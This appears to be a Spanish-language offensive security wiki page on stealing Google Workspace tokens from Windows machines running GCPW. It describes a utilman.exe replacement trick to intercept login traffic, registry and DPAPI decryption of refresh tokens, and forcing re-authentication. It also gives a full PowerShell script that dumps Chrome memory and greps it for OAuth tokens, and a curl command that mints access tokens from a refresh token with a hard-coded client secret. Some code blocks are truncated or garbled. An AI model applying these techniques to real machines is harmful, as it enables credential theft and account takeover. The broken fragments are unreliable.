Este es el inicio de sesión único que Google Workspaces proporciona para que los usuarios puedan iniciar sesión en sus PC con Windows usando sus credenciales de Workspace. Además, esto almacenará tokens para acceder a Google Workspace en algunos lugares de la PC.
Note que Winpeas es capaz de detectar GCPW, obtener información sobre la configuración y incluso tokens.
GCPW - MitM
Cuando un usuario accede a una PC con Windows sincronizada con Google Workspace a través de GCPW, necesitará completar un formulario de inicio de sesión común. Este formulario de inicio de sesión devolverá un código OAuth que la PC intercambiará por el token de actualización en una solicitud como:
POST /oauth2/v4/token HTTP/2Host:www.googleapis.comContent-Length:311Content-Type:application/x-www-form-urlencoded[...headers...]scope=https://www.google.com/accounts/OAuthLogin&grant_type=authorization_code&client_id=77185425430.apps.googleusercontent.com&client_secret=OTJgUOQcT7lO7GsGZq2G4IlT&code=4/0AVG7fiQ1NKncRzNrrGjY5S02wBWBJxV9kUNSKvB1EnJDCWyDmfZvelqKp0zx8jRGmR7LUw&device_id=d5c82f70-71ff-48e8-94db-312e64c7354f&device_type=chrome
Se han añadido nuevas líneas para hacerlo más legible.
Fue posible realizar un MitM instalando Proxifier en el PC, sobrescribiendo el binario utilman.exe con un cmd.exe y ejecutando las funciones de accesibilidad en la página de inicio de sesión de Windows, lo que ejecutará un CMD desde el cual puedes lanzar y configurar el Proxifier.
No olvides bloquear el tráfico QUICK UDP en Proxifier para que se degrade a comunicación TCP y puedas verlo.
También configura en "Servicios y otros usuarios" ambas opciones e instala el certificado CA de Burp en Windows.
Además, añadiendo las claves enable_verbose_logging = 1 y log_file_path = C:\Public\gcpw.log en HKLM:\SOFTWARE\Google\GCPW es posible hacer que almacene algunos registros.
GCPW - Huella digital
Es posible verificar si GCPW está instalado en un dispositivo comprobando si existe el siguiente proceso o si existen las siguientes claves de registro:
# Check process gcpw_extension.exeif (Get-Process-Name "gcpw_extension"-ErrorAction SilentlyContinue) {Write-Output"The process gcpw_xtension.exe is running."} else {Write-Output"The process gcpw_xtension.exe is not running."}# Check if HKLM\SOFTWARE\Google\GCPW\Users exists$gcpwHKLMPath ="HKLM:\SOFTWARE\Google\GCPW\Users"if (Test-Path $gcpwHKLMPath) {Write-Output"GCPW is installed: The key $gcpwHKLMPath exists."} else {Write-Output"GCPW is not installed: The key $gcpwHKLMPath does not exist."}# Check if HKCU\SOFTWARE\Google\Accounts exists$gcpwHKCUPath ="HKCU:\SOFTWARE\Google\Accounts"if (Test-Path $gcpwHKCUPath) {Write-Output"Google Accounts are present: The key $gcpwHKCUPath exists."} else {Write-Output"No Google Accounts found: The key $gcpwHKCUPath does not exist."}
En HKCU:\SOFTWARE\Google\Accounts es posible acceder al correo electrónico del usuario y al refresh token encriptado si el usuario ha iniciado sesión recientemente.
En HKLM:\SOFTWARE\Google\GCPW\Users es posible encontrar los domains que están permitidos para iniciar sesión en la clave domains_allowed y en subclaves es posible encontrar información sobre el usuario como correo electrónico, foto, nombre de usuario, duraciones de token, identificador de token...
El identificador de token es un token que comienza con eth. y del cual se puede extraer información con una solicitud como:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'token_handle=eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg'
# Example response{"audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":12880152}
También es posible encontrar el identificador del token de un token de acceso con una solicitud como:
curl-s'https://www.googleapis.com/oauth2/v2/tokeninfo' \-d 'access_token=<access token>'# Example response{"issued_to":"77185425430.apps.googleusercontent.com","audience":"77185425430.apps.googleusercontent.com","scope":"https://www.google.com/accounts/OAuthLogin","expires_in":1327,"access_type":"offline","token_handle": "eth.ALh9Bwhhy_aDaRGhv4v81xRNXdt8BDrWYrM2DBv-aZwPdt7U54gp-m_3lEXsweSyUAuN3J-9KqzbDgHBfFzYqVink340uYtWAwxsXZgqFKrRGzmXZcJNVapkUpLVsYZ_F87B5P_iUzTG-sffD4_kkd0SEwZ0hSSgKVuLT-2eCY67qVKxfGvnfmg"
}
Afaik no es posible obtener un token de actualización o un token de acceso a partir del identificador del token.
Además, el archivo C:\ProgramData\Google\Credential Provider\Policies\<sid>\PolicyFetchResponse es un json que contiene la información de diferentes configuraciones como enableDmEnrollment, enableGcpAutoUpdate, enableMultiUserLogin (si varios usuarios de Workspace pueden iniciar sesión en la computadora) y validityPeriodDays (número de días que un usuario no necesita volver a autenticarse directamente con Google).
GCPW - Obtener Tokens
GCPW - Tokens de Actualización del Registro
Dentro del registro HKCU:\SOFTWARE\Google\Accounts podría ser posible encontrar algunas cuentas con el refresh_token cifrado dentro. El método ProtectedData.Unprotect puede descifrarlo fácilmente.
Obtener HKCU:\SOFTWARE\Google\Accounts datos y descifrar refresh_tokens
```powershell # Import required namespace for decryption Add-Type -AssemblyName System.Security
Base registry path
$baseKey = "HKCU:\SOFTWARE\Google\Accounts"
Function to search and decrypt refresh_token values
function Get-RegistryKeysAndDecryptTokens { param ( [string]$keyPath )
</div>
Como se explica en [**este video**](https://www.youtube.com/watch?v=FEQxHRRP\_5I), si no encuentras el token en el registro, es posible modificar el valor (o eliminarlo) de **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** y la próxima vez que el usuario acceda a la computadora, necesitará iniciar sesión nuevamente y el **token se almacenará en el registro anterior**.
### GCPW - Tokens de actualización de disco
El archivo **`%LocalAppData%\Google\Chrome\User Data\Local State`** almacena la clave para descifrar los **`refresh_tokens`** ubicados dentro de los **perfiles de Google Chrome** del usuario, como:
* `%LocalAppData%\Google\Chrome\User Data\Default\Web Data`
* `%LocalAppData%\Google\Chrome\Profile*\Default\Web Data`
Es posible encontrar algún **código en C#** que accede a estos tokens de manera descifrada en [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe).
Además, la encriptación se puede encontrar en este código: [https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L216)
Se puede observar que se utiliza AESGCM, el token encriptado comienza con una **versión** (**`v10`** en este momento), luego tiene [**12B de nonce**](https://github.com/chromium/chromium/blob/7b5e817cb016f946a29378d2d39576a4ca546605/components/os\_crypt/sync/os\_crypt\_win.cc#L42), y luego tiene el **texto cifrado** con un **mac final de 16B**.
### GCPW - Extracción de tokens de la memoria de procesos
El siguiente script se puede usar para **dump** cada proceso de **Chrome** usando `procdump`, extraer las **cadenas** y luego **buscar** cadenas relacionadas con **tokens de acceso y de actualización**. Si Chrome está conectado a algún sitio de Google, ¡algún **proceso estará almacenando tokens de actualización y/o de acceso en la memoria!**
<details>
<summary>Dump de procesos de Chrome y búsqueda de tokens</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "chrome" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
Intenté lo mismo con gcpw_extension.exe, pero no encontró ningún token.
Por alguna razón, algunos tokens de acceso extraídos no serán válidos (aunque algunos sí lo serán). Intenté el siguiente script para eliminar caracteres uno por uno para intentar obtener el token válido del volcado. Nunca me ayudó a encontrar uno válido, pero podría, supongo:
Verificar token de acceso eliminando caracteres uno por uno
Check if the response contains "error_description"
if [[ ! "$response" =~ "error_description" ]]; then echo "Success: Token is valid" echo "Final token: $access_token" echo "Response: $response" exit 0 fi
Remove the last character from the token
access_token=${access_token:0:-1}
echo "Token length: ${#access_token}" done
echo "Error: Token invalid or too short"
</details>
### GCPW - Generación de tokens de acceso a partir de tokens de actualización
Usando el token de actualización, es posible generar tokens de acceso utilizando este y el ID de cliente y el secreto de cliente especificados en el siguiente comando:
```bash
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCPW - Scopes
Tenga en cuenta que incluso teniendo un token de actualización, no es posible solicitar ningún alcance para el token de acceso, ya que solo puede solicitar los alcances admitidos por la aplicación donde está generando el token de acceso.
Además, el token de actualización no es válido en todas las aplicaciones.
Por defecto, GCPW no tendrá acceso como el usuario a todos los posibles alcances de OAuth, por lo que utilizando el siguiente script podemos encontrar los alcances que se pueden usar con el refresh_token para generar un access_token: